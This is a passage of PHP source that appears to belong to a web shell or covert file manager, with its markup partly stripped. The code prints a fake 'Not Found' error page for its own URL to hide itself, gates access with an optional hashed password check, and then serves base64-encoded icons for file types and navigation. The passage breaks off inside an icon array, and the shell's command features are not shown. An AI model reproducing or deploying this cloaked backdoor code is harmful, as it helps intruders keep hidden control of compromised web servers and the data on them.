Not Found

The requested URL ',$_SERVER['PHP_SELF'],' was not found on this server.

'; die; } } $Auth = FALSE; if ($Auth !== FALSE) { session_start(); $NoPASS = TRUE; if (!empty($_SESSION['SLOGIN'])) { if ($_SESSION['SLOGIN'] === $Password) { $NoPASS = FALSE; } } if (isset($_POST['pass'])) { $ShaPass = sha1(md5($_POST['pass'])); if ($ShaPass === $Password) { $_SESSION['SLOGIN'] = $ShaPass; $NoPASS = FALSE; } else { $WrongPass = TRUE; } } if ($NoPASS) { echo ' Log in
'; if (isset($WrongPass)) { echo 'Wrong password, please try again.

'; } echo 'Please enter the password:
'; die; } } $IsAction = isset($_REQUEST['action']); if ($IsAction && $_GET['action'] === 'img') { header('Expires: '.date('D, d M Y H:i:s',time()+86400).' GMT'); header('Cache-Control: public'); header('Last modified: ' . date ('D, d M Y H:i:s', getlastmod()) . ' GMT'); if (isset($_REQUEST['image'])) { if ($_REQUEST['image'] === 'backb') { header('Content-Type: image/png'); echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAMAAAC6V+0/AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABhQTFRFnMjhZq3UDXu24e30L5PLSYivAGeY////Be3CegAAAAh0Uk5T/////////wDeg71ZAAAAiElEQVR42mzQ2wrDMAwDUMmO0v//4/nWLIPppXCwTSM8f4L+UIhQN8qZCIcOgplmDWJFbg3UMrPQWC5lIqxCd9SwAnVZ3YiFB/s1q8uEEveYtQ5uc/c6Ujq41ZOp6+Ctua7CzVfN45eIX12qF53ZGkS/ndbapmmJOgp9+0Sx8eozmVn8NP8RYAC3HQXzIa0m6wAAAABJRU5ErkJggg=='); } elseif ($_REQUEST['image'] === 'forwardb') { header('Content-Type: image/png'); echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAMAAAC6V+0/AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABhQTFRFnMfgBnCmZazV7fT5HIbBzOLvSYqy////TGVm9QAAAAh0Uk5T/////////wDeg71ZAAAAiklEQVR42mzQQQ7EMAgDQAOG/P/HC4S0jbRcKo0IBWP9KeyPBrI0vhjmjUA8iE1VrbgsgqWJ0eauSlIEWmjd5u5twkiMmVYqVflwzTQytTHXW8dSrZUbmyhqhgfHaJ9O3tYzT99MzL/nSuq3SfRFUfvhGPbtSnlrbq80Lzt5YrN+8izWCn6S/wkwAOuyBcSEKJ+VAAAAAElFTkSuQmCC'); } elseif ($_REQUEST['image'] === 'c37') { header('Content-Type: image/png'); echo base64_decode('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'); } header('Content-Type: image/gif'); if ($_REQUEST['image'] === 'dir') { echo base64_decode('R0lGODlhEQAOALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAARAA4AAARIEMlJaxUYA0vFKQVBCBsnDGg6ZNkkgHAMEkP5inhOGLV067tgD/EDGnbDoujIpNlCuibviZPupr6ClWnAElVgVQkBKJvPZ0QEADs='); } elseif ($_GET['image'] === 'link') { echo base64_decode('R0lGODlhFAAVALMMADZITbzFye73/Nng5dPa3/j7/WNwdJ6preXt8n+Lj9/n7Ojy+AAAAAAAAAAAAAAAACH5BAEAAAwALAAAAAAUABUAAAS+kMlJyRKEam2XX8hGDcolFIIALpmmqCcbHEkgIIqmXkFiAEDAoaBAtBiIjyARDCYECsVAEvjwAAnfz3CLZkofRBKR9QEGuMG0A0oqDvCAwWBTKwJIsXhxMBwIBUxDagMZFntyfigBAQgFBIUZB2IlB0ADREULkQQZCQQ4CgQ1BQiEnah4CQcLUUU3aqiyCRKfUYSxsgM9E6tSp52xM3MUqwS/wjRzxL1ZB4wzWssGGmVl08siDNbY1Nq1PlrfEQA7'); } elseif ($_REQUEST['image'] === 'down') { echo base64_decode('R0lGODlhFAAUAOYAAP//////AP8A//8AAAD//wD/AAAA/wAAAMK/ya6ruLCtwdHO4by6yqimu9TT5GBgb3V1hdfX5qystq6ut6qqr8bGy9DQ09ze8bu8xrCxuszO3t3f7KmrtKyutpecr8HG2JiesKyzxoiNm7O3w77G2cXN4Kmvvt3i7qauwL3ByrO7y5uhrd7k8JKYo8PK17bA0J+msqyzv7nE1dje59Ta48vV47vI2KOtudHa5b7L2sLO3Nnh6t/m7tPe6drj7Nfg6dzk7Nzj6uXr8drk7L/Izpmvsdja2omjocnd2Hedh4ysl5a9n6zQsl2wY5HQli2sMCmJLGakZwKzAgOVBArMChKOEzbNNlHeUGDgYEyqTUabR2XNZYvii6zrrOL64vP/83zee8Tyw+np6f///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGMALAAAAAAUABQAAAf/gGOCg0ZRWYdaWkuDjI1MYQBfkl5RjZZjj19em5SXghYjDEpdYV2mXVEIDBiWJjk3S1xdXLRgTUQuKBWMYjdMTE5cYFhbxVlaUEcIjEEoj11gV1bTT09TVUWshCE5wVhWVFJSU9dMJR2MRigkME1XVOHjVUoLJByMFigvICtN8OLzFBApAQNfCBsyPsB4Em6KEg0aaNRYgU9FiRo1NKTI8mSJgx87ZkxkVEFGCSA4cJyggYTFDiBCdvSgOCiFDhs1ePDYcYIFDyExcfQoOAhDDhQ2dODYoXNnShU6bjDCwEJoj6s7fAwBAiQIDR4jGGUw0aKsWbMrYoRQQVNQDBEPLh5AmCsXwgMRIZIU8cAohYsVDDQ4iDCY8IYLTpA0SJchw4THkB9L4JBAAgVBgQAAOw=='); } die; } else { header('Content-Type: image/gif'); $_GET['ext'] = substr($_GET['ext'], 1); $UnKnown = 'R0lGODlhEAAQANUAAAAAAP////7+/f39/Pz8+/v7+vr6+fn5+Pj49/38+/z7+vv6+fr5+Pn49/j39vf29fb19PX08/Py8fj29vf19fb09PXz8/Ty8vPx8fLw8P38/Pz7+/v6+vr5+fn4+Pj39/f29vb19fX09PTz8/Py8ubl5eDf3/b29srKysXFxcDAwL+/v729vby8vLq6urm5ubi4uLW1tbOzs7Gxsa2traysrJ2dnZCQkIaGhnl5ef///wAAAAAAAAAAAAAAAAAAACH5BAEAADoALAAAAAAQABAAAAacQJ1ORSwWV8LkcEMYDAQCggD1UupWBaYTKkidqkmWIdt8ClwwmCvZYhg4ijK0ZFoLXQ03vGyGJWEODQcdexp9STEggYMcBQSGAjFJMiEPix0LjgkDMkkzFZUOCB6YjgQzSTQWIhCWH6SZGzRJNRerrROvbgU1STYktqwUILoGNkk3GBK2ERDDH3k3STgZyhcjzc8NOEk53t/g3zpBADs='; if ($_GET['ext'] === '') { echo base64_decode($UnKnown); die; } $ImgArray = array( array('html','htm','xhtml','xht','xml','mht','mhtml','shtml','dtd','chm','xhtm'),'lhEAAQANUlAICCfJmZmSdRjfDTg01LOfDn2Ni8dauik8a3oMe/sz1urFlZWSUvPShSjbu+wU6GzM7OzoN2QIN2QbjJuJ6ulbmzrHWgx/bw6mtvdLWfYOjTsU2GzO7fxd7e3h88ZbuqkBUsQjxtrFhYWDAwMP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACUALAAAAAAQABAAAAaywJKwtBAZj8ahctFpNiuigEgpZJKupAuGJKUqPFEsBsIdCRWSAWUT8jhIAAyGYFZMOBxDBiAAOS4dFQBmDRwXGgMZIW0YHYAVIw0PhgMGIWweIAkXBR8jHhYWAwEWG5ggFQWdnxuhBmwhApmpHJ4lAq0beiIeDBgHeLYgiyEZEQQMIAAfHBq2JSAeAiIEBMoHCRrOZkMg3iIHBwjaGhncQiIJFR8ICB/vGeZKIiP19vcjQQA7', array('php','phtml','php3','php4','php5','php6','phtm','phps'),'lhEAAQANUAAH5/wIB/wVRUVYuLya6tpH2Bvn19v6io0ZycnIyMxqmpqYCAvoSFwZaWwJ2dznp5v0JDQSorKhISEsLDwXd5vuTm8+Hg5ZGSkTg5NDIxMYB/wIuNi5SUx1BQUayttrW1wH57wIiGhYiIh4aGxMC+4ZeXmKKfn6SlrJ+foXJwu7e3z5iYxHh3v7693vj69qysqqqprqyqq6Cfyq+ur8TE1bu8xk9PTnx8v2FiYXR1aYODfX+AwICAwYCAv////4CAwCH5BAAAAAAALAAAAAAQABAAAAaxwEDvF9Dwdj3eIrDj/Z6/XWCR3O2evQA0Srw6ecesE6v9GR8UA0+z+I2b1l5PReOANHjoOjDov3IkFAV9AAZRPA0xCAcoGTMOK4oyCQAAAwoSAiGYAiKcOjQAPAMINj4RGx2nqacfBpYoEBYQFxAuGbUWGDWvlxIYHic4FgImvzA0BnwlEBUMCQcpLQjNIw9SIxMEBxQADzwB2gcsPEM9HA4MAFvo6lsGN+vv8Vv19ltBADs=', array('asp','asphtml'),'lhEAAQAOYAAAAAAP////7+/v39/fz8/Pv7+/r6+vn5+fj4+Pf39/b29vX19fT09PPz8/Ly8vHx8fDw8O/v7+3t7enp6eXl5ePj4+Hh4d7e3tvb29ra2tnZ2dfX19bW1tPT09HR0c/Pz83NzczMzMrKysnJycfHx8TExMPDw8DAwL6+vr29vby8vLq6urm5ubW1tbGxsa6urq2trampqaenp6ampqOjo6KioqGhoaCgoJycnJqampeXl5aWlpWVlZGRkYyMjIuLi4iIiIaGhoWFhYKCgn9/f35+fnx8fHh4eHZ2dnR0dHJycm5ubmlpaWRkZF9fX1lZWVhYWFdXV01NTUxMTElJSUVFRUREREBAQD4+Pjs7Ozk5OTg4ODU1NTQ0NDIyMjAwMC4uLi0tLSwsLCsrKyoqKikpKSgoKCQkJCMjIyIiIh8fHx4eHh0dHRwcHBoaGhkZGRgYGBcXFxYWFhMTExEREQ8PDwwMDAkJCQgICAcHBwYGBgEBAf///wAAAAAAAAAAACH5BAEAAHwALAAAAAAQABAAAAf8gAgDBwYFBQEJBAIFggEFBAwRCocCCYgPBAUCAwMCHzUtIyMmISIqOxwJCIQFKEU6Li4/PzcvMBgBuY4VHjpbPiApUFxCEz9JRDsPDgFGAFEFQnoAeUdlAAB1QAsGVgBmGF5yNlVLcGY+dGIDF2hteCxqcEM5G3NUEWFvAStyQQA0lGDbgqPNHCwApgjgoacJACQWnGgBAEeOnjVZVARIgg3AFyEyWpzZAyALCQ0FGHQhQ4QNtjtM7IABcGVAAAYW3OTYGOeJGgBpaoyRAsGQhBcZEHSYQeFEjw4DYpQgcADBggACDggIYCBXplyJBDRIwGAQgUEGBhQ6pCoQADs=', array('aspx','armx','asax','ashx','asmx','axd'),'lhEAAQAKIFAP///4Kj1cfS6CBHnV5/vv///wAAAAAAACH5BAEAAAUALAAAAAAQABAAAANXWLTcrUGIQOK0gRIBwOwdB1Je6FVc5AUeJwKqKrXrCwoEOOZg4w0DHY0AHCyADuNCUATOABVTJ1CcDD7ECbOJG2R0kSK0+yUat8ENMcODpZrw+KAglxcSADs=', array('txt','ans','asc','rtf','doc','dot','mcw','docx','dotx','log'),'lhEAAQANU+ALq6uvz8+7i4uPv7+uDh476+vvj39vj39/r6+fz7+/b19Pn49/Pz9vr5+fn4+LW1teXl6PXz8/v6+fv6+rOzs/X09LGxsfz7+vf19fTy8p2dnfn5+IaGhvf29djY2q2trff29pCQkPr5+KysrPb29uDf3/Py8ebl5fr6+vb19by8vP38/MXFxfPy8vP08/Lw8PPx8fLy8r29vf38+/X087+/v/Tz87u7u8rKyv7+/f39/MDAwHl5ecjW4P///wAAACH5BAEAAD4ALAAAAAAQABAAAAaWQJ9vt2MQjcUdSsjcJQoeHTRQwAFcTF9tQIDoujkCi3SLMWWIQSKg0+VyAIEAwFSJEJML2507lehCAD2DhIU9AkwCBgsbDXkBK3yIQg+Glg9MFCkdi40SAwEzOhRMFpaGFkwfERUKnAcODZ8JH0wjp4UjTBotGawKGCCwdxpMIbiEIUwcLzAmGTY0wMILHEw82Nna2T5BADs=', array('jsp','jar','j','jad','jav','java','jsp10','class'),'lhEAAQAOYAAAAAAP///6/A0M7X31l5k1t7lV19l159ll9+l26NpnaQpXSNoomhtZCnuomer5asv5+1yJusuqy9zKqwtUhmfFl6lFh5k1Zyh1ZxhV15jmiGnWeEm2yHm3uUqIKbr4egtIier4edromerqu7x7C9x9Xa3j1cck9sgWSAlGB5i6azvLC9xrfCytjb3bbCyeCwgOh1DOl6E+l+GuSCJOuFJuqEJumKM+yOOOi0guq4ie27jOi9lOvRuvDZxP39/fz8/Pv7+/r6+vn5+ff39/b29vX19fT09PPz8/Dw8O/v7+7u7u3t7ezs7Orq6unp6ejo6Ofn5+bm5uXl5eTk5OPj4+Li4uHh4eDg4N/f397e3t3d3dzc3Nvb29nZ2djY2NbW1tXV1dTU1P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGIALAAAAAAQABAAAAffgAMCEISFhoQCAxIlRUOOj0aPRSUSD0s/Ppk+P0Y9QZk/Sw8NTECmQEFHOjdFp0wNDE5Cs0JIOTRJPEWzTgweUETBRzsyUDg1R8FQHh1TR89IMdHSSM9THQtWSNtMNlYwTExUUUpWCxxZS05aWlkzL1lUCiJVWxwoW01RFQYaBRUaIuwD4QVFhi5QqFBh4cLFChItvCBwACbDhS9TplzZYIGAhQ1XDoS4EubCCS5QsGzpwrJlFylQuJyggOXJiA8JcupM0IQJFgoYJjyBQrSo0SYTMKhIYaKp06dNU6gIBAA7', array('cfm','cfml','cfc'),'lhFAAUAMQAABRBY1uOsmmfvlSEqBtHaWSauj1sjlyStu7y8kV1mTRihJawwmeMpUt8oH6Zqtzk6WyRqyZSdM3a4/j6+sDP2q3Bz+Xs7ll8lIKjt3eZtEdxjnKNpFuDnwAAAAAAAAAAACH5BAAAAAAALAAAAAAUABQAAAXH4FEUQimMxXEEQzs0TUKaJaqyLZzIdJ2uuFdMNvP9grodyhYI5pIGlTSwkFgemOQuYTA0m4PK5EGRLAYQBoPD7boGmQlFmMgg7o+Lwp0TQ2ANBnELHAwaBgoKgAkUFgNbBhATDhF7iQpbjBaBO5EIDxIVl5idCxMQe4gMCBULDgqVEV2IHAgSHAaHqwwRsb2ziA4WtlgXExu9yZWjERcYrl0OBsoRBKOJyQS92tsE3tTg3d7eAOHV4+gA6gDo7ePr8OwE8fT1IQA7', array('png','gif','jpg','jpeg','bmp','ico','jfif','mng','nitf','pbm','pcx','pgm','pict','tga','tiff','tif','xbm','psd','jpx','jp2','rle','dib','rle','dcm','fxg','psb','iff','pxr','pdd','dds'),'lhEAAQANU/AMfY2PPz80eJbtX8/+z//7vE2HbX/zeH1om7zqSkpLDO9bPg/5bR/y9qbaurq56enuL9/y5smvz8/FGCo1Wmi/n5+cHy/+7u7tr//yNaL2mog0R8oZ/K2CdSZHaYsIjB2GK1/7CwsIy77G+w0sP7/0yR2XKn3IK/vcXc/0FrY3K//3CwrhtATluHjT18XH6y5pzGz1qt/8/n6TiDwUmAWV2Z1HGijXSilODf2cz0/0GJwuvr67KyspmZmf///////yH5BAEAAD8ALAAAAAAQABAAAAamwJ9wSCwaj0SecslsKn3QqFT6PFivhxHnw4H5eCFfSQWKkRkkAsHw8YVCEg4EslgwGBbIwIKQhBwVMgMEPgM5FhYDAz4AFQ6ALTcYBBiLlJWNDgkVKTQaCBA+aoSMFQkJARmqNAIaFCsjJzI4AacXLB0dDbsCLgICFDcBDw8XETM6NTUmJi8iCigFF8Q7EREbGxPaEx7dHjsPPTvj5OXlPejp6uvoQQA7', array('vbs','js','scpt','sh','bsh','pl','pn','pm','plx','tcl','ps1','mrc','as','py','pyc','pyw','ps','ncf','asa','csh','cgi','jsfl','json','au3','awk','applescript','aut','nsi','rpy','wsf'),'lhEAAQAOYAAAAAAP///yIiIykpKigoKTAwMS8vMC0tLioqKzw8PTs7PDY2NzQ0NVRUVVJSU1FRUk1NTktLTEdHSEJCQ1FSU0xNTklKSzEyMi8wMC4vLzo7O1RVVVJTU0tMTENEREBBQT9AQAIDAhwcGyoqKWNjYoyMjIqKiomJiYGBgYCAgHl5eXh4eHFxcWxsbGhoaGVlZWNjY15eXl1dXVlZWVdXV1RUVFNTU0xMTEtLS0lJSUhISEZGRkVFRURERENDQ0JCQkFBQT8/Pzw8PDs7Ozk5OTg4ODc3NzY2NjMzMzExMSoqKikpKSQkJCMjIyEhIR4eHh0dHRwcHBsbGxISEhERERAQEA4ODgkJCQYGBgUFBQICAv///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAFsALAAAAAAQABAAAAeqgFuCg4SFhQ4PDRuLHBAVG4UWMy0rKiorLDQ3TCCENiQnJaIlJi41TjuEETMora0pMg8UhRI5MTEyMrc4HYYeQzAvwi8wQhKGH0tGRUbLRiMThgpSPDk6Ojk8IgmGR1dVU1RUU1VXC4YXWUjMy0hYF4YHWgD09SEYhAw/Ojw9/j1AMmQxQIiIkCA+Evr4IUSDlQKEmiiJ8qRiRShJMggohICAx48EBhwgFAgAOw==', array('css','css1'),'lhEAAQAMQAAAAAAP///xw2hyA7jCVCkSpJlzBRnTZZpDxhqkFosEZvtUp0uk14vTBvw+zy+vD1/Dd2xz99y0mF0FKO1FyW2WSd3Wuk4e70++3z+rjU8e/1+////wAAAAAAAAAAAAAAACH5BAEAABsALAAAAAAQABAAAAVh4CaOZGmeaEoybOu+25LNdE0vm2LtfM8rm0Sl8ngMi0djYoOgaCjQZxRKQWwOk8tkm+VqJ4eNQYKRmM1ltMSwKUQiDgdcPn8XNgSIfs/fEzYDDYKDhIMDGwKJiouMKo6OIQA7', 